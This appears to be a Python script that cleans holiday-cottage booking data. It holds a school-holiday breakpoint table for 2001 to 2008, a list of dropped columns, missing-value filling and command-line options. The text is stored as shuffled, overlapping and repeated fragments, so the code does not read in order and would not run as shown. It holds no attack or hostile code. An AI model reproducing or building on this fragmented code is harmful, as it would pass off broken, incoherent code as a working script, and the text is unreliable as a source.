17, \"Half Terms\"), (2, 24, \"Spring and Autumn\"),", "Year\"), ], 2007: [ (1, 1, \"New Year\"), (1, 6,", "14, \"Spring and Autumn\"), (10, 26, \"Half Terms\"), (11, 2,", "having breakpoint or zone_name: %s\", df.shape[0]) logging.info(u\"Filling missing breakpoints: %s\",", "\"Christmas\"), (12, 29, \"New Year\"), ], 2002: [ (1, 1,", "(1, 7, \"Winter\"), (2, 18, \"Half Terms\"), (2, 25, \"Spring", "u'avg_spend_per_head'] DATE_COLS = [u'bookdate', u'sdate', u\"fdate\"] FLOAT_COLS = [u'avg_spend_per_head', u'drivetime']", "\"Spring and Autumn\"), (4, 8, \"Easter\"), (4, 22, \"Spring and", "matcher: if _m > dt.month or (_m == dt.month and", "or (_m == dt.month and _d > dt.day): break breakpoint", "CATEGORICAL_COLS} logging.info(u\"Filling NA with average: %s\", averages) df = df.fillna(averages)", "and Autumn\"), (4, 2, \"Easter\"), (4, 16, \"Spring and Autumn\"),", "zeros: %s\", zeros) df = df.fillna(zeros) logging.info(u\"Filling NA with most", "df.columns logging.info(u\"DF initial shape: %s\", df.shape) df = df.drop(COLS_TO_DROP, axis=1)", "csv file with bookings') parser.add_argument('--id', default=\";\", dest=\"input_csv_delimiter\", help=u\"The input file's", "], 2007: [ (1, 1, \"New Year\"), (1, 6, \"Winter\"),", "31, \"Early Summer\"), (7, 19, \"Summer holidays\"), (8, 30, \"Early", "in CATEGORICAL_COLS} logging.info(u\"Filling NA with average: %s\", averages) df =", "23, \"Spring and Autumn\"), (4, 6, \"Easter\"), (4, 20, \"Spring", "logging.info(u\"Left NA breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) return df.drop(u'zone_name', axis=1) def main():", "';'\") parser.add_argument('-o', default=\"bookings.csv\", dest=\"output_csv\", help=u'Path to an output file. Default:", "[ (1, 1, \"Winter\"), (2, 12, \"Half Terms\"), (2, 19,", "file with bookings') parser.add_argument('--id', default=\";\", dest=\"input_csv_delimiter\", help=u\"The input file's delimiter.", "dest=\"output_csv\", help=u'Path to an output file. Default: booking.csv') parser.add_argument(\"--log-level\", default='INFO',", "fill_missed_breakpoints(df) df = fine_tune_df(df) processed_columns = set(df.columns).union(COLS_TO_DROP + [u'zone_name']) check_processed_columns(processed_columns,", "Summer\"), (7, 22, \"Summer holidays\"), (9, 2, \"Early Autumn\"), (9,", "= df[INT_COLS].astype(int) logging.info(u\"Before cleaning NA: %s\", df.shape) df = df.dropna(subset=NOT_NA_COLS)", "Summer\"), (7, 17, \"Summer holidays\"), (8, 28, \"Early Autumn\"), (9,", "logging.info(u\"DF shape before fine tuning: %s\", df.shape) averages = {col:", "# is a pair of u'sourcedesc', u'category' 'drivedistance', # correlates", "17, \"Summer holidays\"), (8, 28, \"Early Autumn\"), (9, 11, \"Spring", "27, \"New Year\"), ], 2004: [ (1, 1, \"New Year\"),", "22, \"Summer holidays\"), (9, 2, \"Early Autumn\"), (9, 16, \"Spring", "df[col].value_counts().index[0] for col in CATEGORICAL_COLS} logging.info(u\"Filling NA with average: %s\",", "18, \"Half Terms\"), (2, 25, \"Spring and Autumn\"), (4, 8,", "\"Summer holidays\"), (9, 1, \"Early Autumn\"), (9, 15, \"Spring and", "and Autumn\"), (5, 24, \"SBH\"), (5, 31, \"Early Summer\"), (7,", "\"Spring and Autumn\"), (4, 7, \"Easter\"), (4, 21, \"Spring and", "(12, 20, \"Christmas\"), ], } COLS_TO_DROP = [ 'pname', 'region',", "None matcher = OLD_BREAKPOINT_MATCHER.get(dt.year, []) for _m, _d, _b in", "cleans and prepares the data set of bookings for the", "df.fillna(averages) logging.info(u\"Filling NA with zeros: %s\", zeros) df = df.fillna(zeros)", "from preprocessing.common import canonize_datetime, raw_data_to_df, check_processed_columns, check_data OLD_BREAKPOINT_MATCHER = {", "fine tuning: %s\", df.shape) averages = {col: df[col].dropna().mean() for col", "sys import pandas as pd from preprocessing.common import canonize_datetime, raw_data_to_df,", "main(): check_data(args.input_csv, args.input_csv_delimiter) df = raw_data_to_df(args.input_csv, args.input_csv_delimiter) original_columns = df.columns", "Summer\"), (7, 19, \"Summer holidays\"), (8, 30, \"Early Autumn\"), (9,", "(1, 4, \"Winter\"), (2, 15, \"Half Terms\"), (2, 22, \"Spring", "\"New Year\"), (1, 7, \"Winter\"), (2, 18, \"Half Terms\"), (2,", "= fine_tune_df(df) processed_columns = set(df.columns).union(COLS_TO_DROP + [u'zone_name']) check_processed_columns(processed_columns, original_columns) logging.info(u\"Dumping", "df = df.fillna(zeros) logging.info(u\"Filling NA with most populars: %s\", most_popular_values)", "(4, 8, \"Easter\"), (4, 22, \"Spring and Autumn\"), (5, 27,", "], 2003: [ (1, 1, \"New Year\"), (1, 4, \"Winter\"),", "(9, 1, \"Early Autumn\"), (9, 15, \"Spring and Autumn\"), (10,", "dest=\"log_level\", choices=['DEBUG', 'INFO', 'WARNINGS', 'ERROR'], help=u\"Logging level\") args = parser.parse_args()", "if __name__ == '__main__': parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', required=True,", "raw_data_to_df, check_processed_columns, check_data OLD_BREAKPOINT_MATCHER = { 2001: [ (1, 1,", "and Autumn\"), (4, 6, \"Easter\"), (4, 20, \"Spring and Autumn\"),", "'ho', # HH specific 'holidayprice', # correlates with avg_spend_per_head 'bighouse',", "1, \"Early Summer\"), (7, 20, \"Summer holidays\"), (8, 31, \"Early", "\"Early Summer\"), (7, 17, \"Summer holidays\"), (8, 28, \"Early Autumn\"),", "shape: %s\", df.shape) df = df.drop(COLS_TO_DROP, axis=1) df = canonize_datetime(df,", "NOT_NA_COLS = [u'bookcode', u'code', u'propcode', u'year', u'breakpoint', u'avg_spend_per_head'] DATE_COLS =", "if pd.isnull(df.values).any(): logging.error(u\"NA values left in df\") return df def", "drivetime ] NOT_NA_COLS = [u'bookcode', u'code', u'propcode', u'year', u'breakpoint', u'avg_spend_per_head']", "Default: booking.csv') parser.add_argument(\"--log-level\", default='INFO', dest=\"log_level\", choices=['DEBUG', 'INFO', 'WARNINGS', 'ERROR'], help=u\"Logging", "Autumn\"), (5, 27, \"SBH\"), (6, 3, \"Early Summer\"), (7, 22,", "> dt.day): break breakpoint = _b return breakpoint def fine_tune_df(df):", "script cleans and prepares the data set of bookings for", "'proppostcode', # can be taken from property 'bookdate_scoreboard', 'book_year', 'hh_gross',", "19, \"Spring and Autumn\"), (5, 24, \"SBH\"), (5, 31, \"Early", "= [u'sourcedesc', u'category'] def get_breakpoint(dt): breakpoint = None matcher =", "logging.info(u\"Filling missing breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) df.breakpoint[pd.isnull(df.breakpoint)] = df[pd.isnull(df.breakpoint)].sdate.apply(get_breakpoint) logging.info(u\"Left NA", "for col in INT_COLS} most_popular_values = {col: df[col].value_counts().index[0] for col", "no need 'sourcecostid', # is a pair of u'sourcedesc', u'category'", "\"SBH\"), (5, 31, \"Early Summer\"), (7, 19, \"Summer holidays\"), (8,", "logging.info(u\"Dumping data to: %s\", args.output_csv) df.to_csv(args.output_csv, index=False) if __name__ ==", "DATE_COLS) df = fill_missed_breakpoints(df) df = fine_tune_df(df) processed_columns = set(df.columns).union(COLS_TO_DROP", "in matcher: if _m > dt.month or (_m == dt.month", "import argparse import logging import sys import pandas as pd", "Terms\"), (2, 21, \"Spring and Autumn\"), (4, 3, \"Easter\"), (4,", "5, \"Easter\"), (4, 19, \"Spring and Autumn\"), (5, 24, \"SBH\"),", "data set of bookings for the future usage \"\"\" import", "def fine_tune_df(df): logging.info(u\"DF shape before fine tuning: %s\", df.shape) averages", "25, \"Half Terms\"), (11, 1, \"Winter\"), (12, 20, \"Christmas\"), (12,", "prepares the data set of bookings for the future usage", "21, \"Spring and Autumn\"), (4, 3, \"Easter\"), (4, 17, \"Spring", "Autumn\"), (9, 11, \"Spring and Autumn\"), (10, 23, \"Half Terms\"),", "27, \"SBH\"), (6, 3, \"Early Summer\"), (7, 22, \"Summer holidays\"),", "in FLOAT_COLS} zeros = {col: 0 for col in INT_COLS}", "Default: ';'\") parser.add_argument('-o', default=\"bookings.csv\", dest=\"output_csv\", help=u'Path to an output file.", "and Autumn\"), (10, 23, \"Half Terms\"), (10, 30, \"Winter\"), (12,", "default=\"bookings.csv\", dest=\"output_csv\", help=u'Path to an output file. Default: booking.csv') parser.add_argument(\"--log-level\",", "Terms\"), (10, 30, \"Winter\"), (12, 18, \"Christmas\"), ], 2005: [", "\"Half Terms\"), (2, 19, \"Spring and Autumn\"), (4, 2, \"Easter\"),", "Autumn\"), (9, 16, \"Spring and Autumn\"), (10, 28, \"Half Terms\"),", "'stars', 'proppostcode', # can be taken from property 'bookdate_scoreboard', 'book_year',", "= raw_data_to_df(args.input_csv, args.input_csv_delimiter) original_columns = df.columns logging.info(u\"DF initial shape: %s\",", "import canonize_datetime, raw_data_to_df, check_processed_columns, check_data OLD_BREAKPOINT_MATCHER = { 2001: [", "parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', required=True, dest=\"input_csv\", help=u'Path to a", "(7, 20, \"Summer holidays\"), (8, 31, \"Early Autumn\"), (9, 14,", "8, \"Easter\"), (4, 22, \"Spring and Autumn\"), (5, 27, \"SBH\"),", "26, \"Half Terms\"), (11, 2, \"Winter\"), (12, 21, \"Christmas\"), (12,", "df def fill_missed_breakpoints(df): df = df[pd.notnull(df.breakpoint) | pd.notnull(df.zone_name)] logging.info(u\"Bookings having", "14, \"Half Terms\"), (2, 21, \"Spring and Autumn\"), (4, 3,", "(12, 22, \"Christmas\"), (12, 29, \"New Year\"), ], 2002: [", "fine_tune_df(df) processed_columns = set(df.columns).union(COLS_TO_DROP + [u'zone_name']) check_processed_columns(processed_columns, original_columns) logging.info(u\"Dumping data", "(2, 12, \"Half Terms\"), (2, 19, \"Spring and Autumn\"), (4,", "18, \"Christmas\"), ], 2005: [ (1, 1, \"Winter\"), (2, 12,", "[u'sourcedesc', u'category'] def get_breakpoint(dt): breakpoint = None matcher = OLD_BREAKPOINT_MATCHER.get(dt.year,", "of bookings for the future usage \"\"\" import argparse import", "], 2008: [ (1, 1, \"New Year\"), (1, 5, \"Winter\"),", "%s\", df.shape) averages = {col: df[col].dropna().mean() for col in FLOAT_COLS}", "(2, 16, \"Half Terms\"), (2, 23, \"Spring and Autumn\"), (3,", "set(df.columns).union(COLS_TO_DROP + [u'zone_name']) check_processed_columns(processed_columns, original_columns) logging.info(u\"Dumping data to: %s\", args.output_csv)", "Autumn\"), (4, 7, \"Easter\"), (4, 21, \"Spring and Autumn\"), (5,", "{col: 0 for col in INT_COLS} most_popular_values = {col: df[col].value_counts().index[0]", "], 2002: [ (1, 1, \"New Year\"), (1, 5, \"Winter\"),", "(4, 20, \"Spring and Autumn\"), (5, 25, \"SBH\"), (6, 1,", "(11, 1, \"Winter\"), (12, 20, \"Christmas\"), (12, 27, \"New Year\"),", "and Autumn\"), (5, 27, \"SBH\"), (6, 3, \"Early Summer\"), (7,", "Terms\"), (11, 2, \"Winter\"), (12, 21, \"Christmas\"), (12, 28, \"New", "of u'sourcedesc', u'category' 'drivedistance', # correlates with drivetime ] NOT_NA_COLS", "zeros = {col: 0 for col in INT_COLS} most_popular_values =", "= [ 'pname', 'region', 'sleeps', 'stars', 'proppostcode', # can be", "19, \"Summer holidays\"), (8, 30, \"Early Autumn\"), (9, 13, \"Spring", "\"Winter\"), (12, 23, \"Christmas\"), (12, 30, \"New Year\"), ], 2007:", "1, \"Winter\"), (12, 20, \"Christmas\"), ], } COLS_TO_DROP = [", "df.shape) df = df.dropna(subset=NOT_NA_COLS) logging.info(u\"After cleaning NA: %s\", df.shape) if", "2005: [ (1, 1, \"Winter\"), (2, 12, \"Half Terms\"), (2,", "\"Spring and Autumn\"), (10, 28, \"Half Terms\"), (11, 4, \"Winter\"),", "1, \"New Year\"), (1, 7, \"Winter\"), (2, 18, \"Half Terms\"),", "axis=1) df = canonize_datetime(df, DATE_COLS) df = fill_missed_breakpoints(df) df =", "tuning: %s\", df.shape) averages = {col: df[col].dropna().mean() for col in", "and Autumn\"), (3, 22, \"Easter\"), (4, 19, \"Spring and Autumn\"),", "Summer\"), (7, 21, \"Summer holidays\"), (9, 1, \"Early Autumn\"), (9,", "axis=1) def main(): check_data(args.input_csv, args.input_csv_delimiter) df = raw_data_to_df(args.input_csv, args.input_csv_delimiter) original_columns", "(5, 27, \"SBH\"), (6, 3, \"Early Summer\"), (7, 22, \"Summer", "= None matcher = OLD_BREAKPOINT_MATCHER.get(dt.year, []) for _m, _d, _b", "Autumn\"), (5, 22, \"SBH\"), (5, 29, \"Early Summer\"), (7, 17,", "1, \"New Year\"), (1, 5, \"Winter\"), (2, 16, \"Half Terms\"),", "(4, 16, \"Spring and Autumn\"), (5, 21, \"SBH\"), (5, 28,", "(12, 27, \"New Year\"), ], 2004: [ (1, 1, \"New", "\"Christmas\"), (12, 28, \"New Year\"), ], 2003: [ (1, 1,", "holidays\"), (8, 31, \"Early Autumn\"), (9, 14, \"Spring and Autumn\"),", "need 'sourcecostid', # is a pair of u'sourcedesc', u'category' 'drivedistance',", "\"Summer holidays\"), (9, 2, \"Early Autumn\"), (9, 16, \"Spring and", "FLOAT_COLS = [u'avg_spend_per_head', u'drivetime'] INT_COLS = [u'adults', u'babies', u'children', u'pets']", "%s\", args.output_csv) df.to_csv(args.output_csv, index=False) if __name__ == '__main__': parser =", "22, \"Half Terms\"), (10, 29, \"Winter\"), (12, 17, \"Christmas\"), (12,", "and Autumn\"), (5, 22, \"SBH\"), (5, 29, \"Early Summer\"), (7,", "(10, 26, \"Half Terms\"), (11, 2, \"Winter\"), (12, 21, \"Christmas\"),", "This script cleans and prepares the data set of bookings", "pd from preprocessing.common import canonize_datetime, raw_data_to_df, check_processed_columns, check_data OLD_BREAKPOINT_MATCHER =", "1, \"Winter\"), (12, 20, \"Christmas\"), (12, 27, \"New Year\"), ],", "\"Spring and Autumn\"), (5, 27, \"SBH\"), (6, 3, \"Early Summer\"),", "to a csv file with bookings') parser.add_argument('--id', default=\";\", dest=\"input_csv_delimiter\", help=u\"The", "u'propcode', u'year', u'breakpoint', u'avg_spend_per_head'] DATE_COLS = [u'bookdate', u'sdate', u\"fdate\"] FLOAT_COLS", "df = raw_data_to_df(args.input_csv, args.input_csv_delimiter) original_columns = df.columns logging.info(u\"DF initial shape:", "\"Easter\"), (4, 19, \"Spring and Autumn\"), (5, 24, \"SBH\"), (5,", "df = fill_missed_breakpoints(df) df = fine_tune_df(df) processed_columns = set(df.columns).union(COLS_TO_DROP +", "29, \"Early Summer\"), (7, 17, \"Summer holidays\"), (8, 28, \"Early", "(9, 10, \"Spring and Autumn\"), (10, 22, \"Half Terms\"), (10,", "df[INT_COLS] = df[INT_COLS].astype(int) logging.info(u\"Before cleaning NA: %s\", df.shape) df =", "Terms\"), (10, 29, \"Winter\"), (12, 17, \"Christmas\"), (12, 31, \"New", "HH specific 'holidayprice', # correlates with avg_spend_per_head 'bighouse', 'burghisland', 'boveycastle',", "\"SBH\"), (5, 28, \"Early Summer\"), (7, 16, \"Summer holidays\"), (8,", "zone_name: %s\", df.shape[0]) logging.info(u\"Filling missing breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) df.breakpoint[pd.isnull(df.breakpoint)] =", "3, \"Winter\"), (2, 14, \"Half Terms\"), (2, 21, \"Spring and", "check_processed_columns(processed_columns, original_columns) logging.info(u\"Dumping data to: %s\", args.output_csv) df.to_csv(args.output_csv, index=False) if", "'__main__': parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', required=True, dest=\"input_csv\", help=u'Path to", "\"Spring and Autumn\"), (4, 5, \"Easter\"), (4, 19, \"Spring and", "_d, _b in matcher: if _m > dt.month or (_m", "CATEGORICAL_COLS = [u'sourcedesc', u'category'] def get_breakpoint(dt): breakpoint = None matcher", "= _b return breakpoint def fine_tune_df(df): logging.info(u\"DF shape before fine", "= canonize_datetime(df, DATE_COLS) df = fill_missed_breakpoints(df) df = fine_tune_df(df) processed_columns", "df.breakpoint[pd.isnull(df.breakpoint)] = df[pd.isnull(df.breakpoint)].sdate.apply(get_breakpoint) logging.info(u\"Left NA breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) return df.drop(u'zone_name',", "\"Winter\"), (12, 18, \"Christmas\"), ], 2005: [ (1, 1, \"Winter\"),", "populars: %s\", most_popular_values) df = df.fillna(most_popular_values) df[INT_COLS] = df[INT_COLS].astype(int) logging.info(u\"Before", "4, \"Winter\"), (2, 15, \"Half Terms\"), (2, 22, \"Spring and", "\"New Year\"), (1, 5, \"Winter\"), (2, 16, \"Half Terms\"), (2,", "taken from property 'bookdate_scoreboard', 'book_year', 'hh_gross', 'hh_net', 'ho', # HH", "initial shape: %s\", df.shape) df = df.drop(COLS_TO_DROP, axis=1) df =", "Summer\"), (7, 20, \"Summer holidays\"), (8, 31, \"Early Autumn\"), (9,", "(9, 15, \"Spring and Autumn\"), (10, 27, \"Half Terms\"), (11,", "26, \"SBH\"), (6, 2, \"Early Summer\"), (7, 21, \"Summer holidays\"),", "u'pets'] CATEGORICAL_COLS = [u'sourcedesc', u'category'] def get_breakpoint(dt): breakpoint = None", "'holidayprice', # correlates with avg_spend_per_head 'bighouse', 'burghisland', 'boveycastle', # no", "file. Default: booking.csv') parser.add_argument(\"--log-level\", default='INFO', dest=\"log_level\", choices=['DEBUG', 'INFO', 'WARNINGS', 'ERROR'],", "import pandas as pd from preprocessing.common import canonize_datetime, raw_data_to_df, check_processed_columns,", "'hh_net', 'ho', # HH specific 'holidayprice', # correlates with avg_spend_per_head", "\"New Year\"), ], 2004: [ (1, 1, \"New Year\"), (1,", "df.shape) df = df.drop(COLS_TO_DROP, axis=1) df = canonize_datetime(df, DATE_COLS) df", "df.to_csv(args.output_csv, index=False) if __name__ == '__main__': parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawTextHelpFormatter)", "\"Winter\"), (2, 18, \"Half Terms\"), (2, 25, \"Spring and Autumn\"),", "2007: [ (1, 1, \"New Year\"), (1, 6, \"Winter\"), (2,", "2002: [ (1, 1, \"New Year\"), (1, 5, \"Winter\"), (2,", "21, \"SBH\"), (5, 28, \"Early Summer\"), (7, 16, \"Summer holidays\"),", "OLD_BREAKPOINT_MATCHER = { 2001: [ (1, 1, \"New Year\"), (1,", "Terms\"), (2, 23, \"Spring and Autumn\"), (3, 22, \"Easter\"), (4,", "u'sourcedesc', u'category' 'drivedistance', # correlates with drivetime ] NOT_NA_COLS =", "df = df.fillna(averages) logging.info(u\"Filling NA with zeros: %s\", zeros) df", "= df.columns logging.info(u\"DF initial shape: %s\", df.shape) df = df.drop(COLS_TO_DROP,", "logging.error(u\"NA values left in df\") return df def fill_missed_breakpoints(df): df", "for _m, _d, _b in matcher: if _m > dt.month", "'hh_gross', 'hh_net', 'ho', # HH specific 'holidayprice', # correlates with", "dt.month and _d > dt.day): break breakpoint = _b return", "<gh_stars>0 \"\"\" This script cleans and prepares the data set", "and Autumn\"), (4, 7, \"Easter\"), (4, 21, \"Spring and Autumn\"),", "_d > dt.day): break breakpoint = _b return breakpoint def", "averages) df = df.fillna(averages) logging.info(u\"Filling NA with zeros: %s\", zeros)", "(4, 2, \"Easter\"), (4, 16, \"Spring and Autumn\"), (5, 21,", "\"Early Autumn\"), (9, 16, \"Spring and Autumn\"), (10, 28, \"Half", "2, \"Easter\"), (4, 16, \"Spring and Autumn\"), (5, 21, \"SBH\"),", "\"Winter\"), (2, 14, \"Half Terms\"), (2, 21, \"Spring and Autumn\"),", "31, \"New Year\"), ], 2006: [ (1, 1, \"New Year\"),", "'boveycastle', # no need 'sourcecostid', # is a pair of", "for col in CATEGORICAL_COLS} logging.info(u\"Filling NA with average: %s\", averages)", "16, \"Half Terms\"), (2, 23, \"Spring and Autumn\"), (3, 22,", "Year\"), ], 2002: [ (1, 1, \"New Year\"), (1, 5,", "(2, 22, \"Spring and Autumn\"), (4, 5, \"Easter\"), (4, 19,", "\"Summer holidays\"), (8, 30, \"Early Autumn\"), (9, 13, \"Spring and", "(2, 19, \"Spring and Autumn\"), (4, 2, \"Easter\"), (4, 16,", "\"SBH\"), (6, 1, \"Early Summer\"), (7, 20, \"Summer holidays\"), (8,", "(1, 5, \"Winter\"), (2, 16, \"Half Terms\"), (2, 23, \"Spring", "\"Spring and Autumn\"), (4, 2, \"Easter\"), (4, 16, \"Spring and", "logging.info(u\"Filling NA with most populars: %s\", most_popular_values) df = df.fillna(most_popular_values)", "[u'zone_name']) check_processed_columns(processed_columns, original_columns) logging.info(u\"Dumping data to: %s\", args.output_csv) df.to_csv(args.output_csv, index=False)", "(1, 3, \"Winter\"), (2, 14, \"Half Terms\"), (2, 21, \"Spring", "\"Half Terms\"), (2, 22, \"Spring and Autumn\"), (4, 5, \"Easter\"),", "17, \"Christmas\"), (12, 31, \"New Year\"), ], 2006: [ (1,", "and Autumn\"), (10, 25, \"Half Terms\"), (11, 1, \"Winter\"), (12,", "[u'bookdate', u'sdate', u\"fdate\"] FLOAT_COLS = [u'avg_spend_per_head', u'drivetime'] INT_COLS = [u'adults',", "+ [u'zone_name']) check_processed_columns(processed_columns, original_columns) logging.info(u\"Dumping data to: %s\", args.output_csv) df.to_csv(args.output_csv,", "the future usage \"\"\" import argparse import logging import sys", "'sleeps', 'stars', 'proppostcode', # can be taken from property 'bookdate_scoreboard',", "Autumn\"), (4, 8, \"Easter\"), (4, 22, \"Spring and Autumn\"), (5,", "(1, 6, \"Winter\"), (2, 17, \"Half Terms\"), (2, 24, \"Spring", "logging.info(u\"Filling NA with zeros: %s\", zeros) df = df.fillna(zeros) logging.info(u\"Filling", "cleaning NA: %s\", df.shape) df = df.dropna(subset=NOT_NA_COLS) logging.info(u\"After cleaning NA:", "3, \"Easter\"), (4, 17, \"Spring and Autumn\"), (5, 22, \"SBH\"),", "logging.info(u\"DF initial shape: %s\", df.shape) df = df.drop(COLS_TO_DROP, axis=1) df", "Autumn\"), (3, 22, \"Easter\"), (4, 19, \"Spring and Autumn\"), (5,", "with avg_spend_per_head 'bighouse', 'burghisland', 'boveycastle', # no need 'sourcecostid', #", "import sys import pandas as pd from preprocessing.common import canonize_datetime,", "parser.add_argument('-o', default=\"bookings.csv\", dest=\"output_csv\", help=u'Path to an output file. Default: booking.csv')", "default=\";\", dest=\"input_csv_delimiter\", help=u\"The input file's delimiter. Default: ';'\") parser.add_argument('-o', default=\"bookings.csv\",", "[]) for _m, _d, _b in matcher: if _m >", "pd.notnull(df.zone_name)] logging.info(u\"Bookings having breakpoint or zone_name: %s\", df.shape[0]) logging.info(u\"Filling missing", "22, \"Spring and Autumn\"), (4, 5, \"Easter\"), (4, 19, \"Spring", "NA: %s\", df.shape) df = df.dropna(subset=NOT_NA_COLS) logging.info(u\"After cleaning NA: %s\",", "booking.csv') parser.add_argument(\"--log-level\", default='INFO', dest=\"log_level\", choices=['DEBUG', 'INFO', 'WARNINGS', 'ERROR'], help=u\"Logging level\")", "'WARNINGS', 'ERROR'], help=u\"Logging level\") args = parser.parse_args() logging.basicConfig( format='%(asctime)s %(levelname)s:%(message)s',", "(12, 17, \"Christmas\"), (12, 31, \"New Year\"), ], 2006: [", "the data set of bookings for the future usage \"\"\"", "in INT_COLS} most_popular_values = {col: df[col].value_counts().index[0] for col in CATEGORICAL_COLS}", "21, \"Christmas\"), (12, 28, \"New Year\"), ], 2003: [ (1,", "7, \"Winter\"), (2, 18, \"Half Terms\"), (2, 25, \"Spring and", "holidays\"), (9, 2, \"Early Autumn\"), (9, 16, \"Spring and Autumn\"),", "= {col: 0 for col in INT_COLS} most_popular_values = {col:", "parser.add_argument(\"--log-level\", default='INFO', dest=\"log_level\", choices=['DEBUG', 'INFO', 'WARNINGS', 'ERROR'], help=u\"Logging level\") args", "zeros) df = df.fillna(zeros) logging.info(u\"Filling NA with most populars: %s\",", "(4, 22, \"Spring and Autumn\"), (5, 27, \"SBH\"), (6, 3,", "(6, 2, \"Early Summer\"), (7, 21, \"Summer holidays\"), (9, 1,", "canonize_datetime(df, DATE_COLS) df = fill_missed_breakpoints(df) df = fine_tune_df(df) processed_columns =", "with drivetime ] NOT_NA_COLS = [u'bookcode', u'code', u'propcode', u'year', u'breakpoint',", "\"New Year\"), (1, 6, \"Winter\"), (2, 17, \"Half Terms\"), (2,", "\"Spring and Autumn\"), (10, 25, \"Half Terms\"), (11, 1, \"Winter\"),", "(7, 16, \"Summer holidays\"), (8, 27, \"Early Autumn\"), (9, 10,", "df\") return df def fill_missed_breakpoints(df): df = df[pd.notnull(df.breakpoint) | pd.notnull(df.zone_name)]", "\"New Year\"), ], 2002: [ (1, 1, \"New Year\"), (1,", "19, \"Spring and Autumn\"), (4, 2, \"Easter\"), (4, 16, \"Spring", "15, \"Half Terms\"), (2, 22, \"Spring and Autumn\"), (4, 5,", "\"Winter\"), (12, 21, \"Christmas\"), (12, 28, \"New Year\"), ], 2003:", "28, \"New Year\"), ], 2003: [ (1, 1, \"New Year\"),", "], 2004: [ (1, 1, \"New Year\"), (1, 3, \"Winter\"),", "(11, 2, \"Winter\"), (12, 21, \"Christmas\"), (12, 28, \"New Year\"),", "return df def fill_missed_breakpoints(df): df = df[pd.notnull(df.breakpoint) | pd.notnull(df.zone_name)] logging.info(u\"Bookings", "Terms\"), (11, 1, \"Winter\"), (12, 20, \"Christmas\"), ], } COLS_TO_DROP", "22, \"Christmas\"), (12, 29, \"New Year\"), ], 2002: [ (1,", "= set(df.columns).union(COLS_TO_DROP + [u'zone_name']) check_processed_columns(processed_columns, original_columns) logging.info(u\"Dumping data to: %s\",", "\"Easter\"), (4, 16, \"Spring and Autumn\"), (5, 21, \"SBH\"), (5,", "and Autumn\"), (5, 26, \"SBH\"), (6, 2, \"Early Summer\"), (7,", "be taken from property 'bookdate_scoreboard', 'book_year', 'hh_gross', 'hh_net', 'ho', #", "u'children', u'pets'] CATEGORICAL_COLS = [u'sourcedesc', u'category'] def get_breakpoint(dt): breakpoint =", "df.shape) averages = {col: df[col].dropna().mean() for col in FLOAT_COLS} zeros", "COLS_TO_DROP = [ 'pname', 'region', 'sleeps', 'stars', 'proppostcode', # can", "(2, 21, \"Spring and Autumn\"), (4, 3, \"Easter\"), (4, 17,", "OLD_BREAKPOINT_MATCHER.get(dt.year, []) for _m, _d, _b in matcher: if _m", "[u'adults', u'babies', u'children', u'pets'] CATEGORICAL_COLS = [u'sourcedesc', u'category'] def get_breakpoint(dt):", "df.fillna(zeros) logging.info(u\"Filling NA with most populars: %s\", most_popular_values) df =", "23, \"Spring and Autumn\"), (3, 22, \"Easter\"), (4, 19, \"Spring", "= df[pd.notnull(df.breakpoint) | pd.notnull(df.zone_name)] logging.info(u\"Bookings having breakpoint or zone_name: %s\",", "Terms\"), (2, 25, \"Spring and Autumn\"), (4, 8, \"Easter\"), (4,", "\"Early Autumn\"), (9, 13, \"Spring and Autumn\"), (10, 25, \"Half", "25, \"SBH\"), (6, 1, \"Early Summer\"), (7, 20, \"Summer holidays\"),", "'pname', 'region', 'sleeps', 'stars', 'proppostcode', # can be taken from", "return df.drop(u'zone_name', axis=1) def main(): check_data(args.input_csv, args.input_csv_delimiter) df = raw_data_to_df(args.input_csv,", "\"Half Terms\"), (11, 2, \"Winter\"), (12, 21, \"Christmas\"), (12, 28,", "'ERROR'], help=u\"Logging level\") args = parser.parse_args() logging.basicConfig( format='%(asctime)s %(levelname)s:%(message)s', stream=sys.stdout,", "canonize_datetime, raw_data_to_df, check_processed_columns, check_data OLD_BREAKPOINT_MATCHER = { 2001: [ (1,", "Autumn\"), (5, 24, \"SBH\"), (5, 31, \"Early Summer\"), (7, 19,", "= df[pd.isnull(df.breakpoint)].sdate.apply(get_breakpoint) logging.info(u\"Left NA breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) return df.drop(u'zone_name', axis=1)", "Autumn\"), (10, 23, \"Half Terms\"), (10, 30, \"Winter\"), (12, 18,", "argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', required=True, dest=\"input_csv\", help=u'Path to a csv file", "'sourcecostid', # is a pair of u'sourcedesc', u'category' 'drivedistance', #", "\"SBH\"), (5, 29, \"Early Summer\"), (7, 17, \"Summer holidays\"), (8,", "holidays\"), (9, 1, \"Early Autumn\"), (9, 15, \"Spring and Autumn\"),", "(8, 30, \"Early Autumn\"), (9, 13, \"Spring and Autumn\"), (10,", "_m, _d, _b in matcher: if _m > dt.month or", "help=u\"The input file's delimiter. Default: ';'\") parser.add_argument('-o', default=\"bookings.csv\", dest=\"output_csv\", help=u'Path", "Autumn\"), (4, 6, \"Easter\"), (4, 20, \"Spring and Autumn\"), (5,", "23, \"Half Terms\"), (10, 30, \"Winter\"), (12, 18, \"Christmas\"), ],", "'bighouse', 'burghisland', 'boveycastle', # no need 'sourcecostid', # is a", "data to: %s\", args.output_csv) df.to_csv(args.output_csv, index=False) if __name__ == '__main__':", "%s\", df[pd.isnull(df.breakpoint)].shape[0]) df.breakpoint[pd.isnull(df.breakpoint)] = df[pd.isnull(df.breakpoint)].sdate.apply(get_breakpoint) logging.info(u\"Left NA breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0])", "and Autumn\"), (10, 27, \"Half Terms\"), (11, 3, \"Winter\"), (12,", "> dt.month or (_m == dt.month and _d > dt.day):", "return breakpoint def fine_tune_df(df): logging.info(u\"DF shape before fine tuning: %s\",", "\"Easter\"), (4, 17, \"Spring and Autumn\"), (5, 22, \"SBH\"), (5,", "# HH specific 'holidayprice', # correlates with 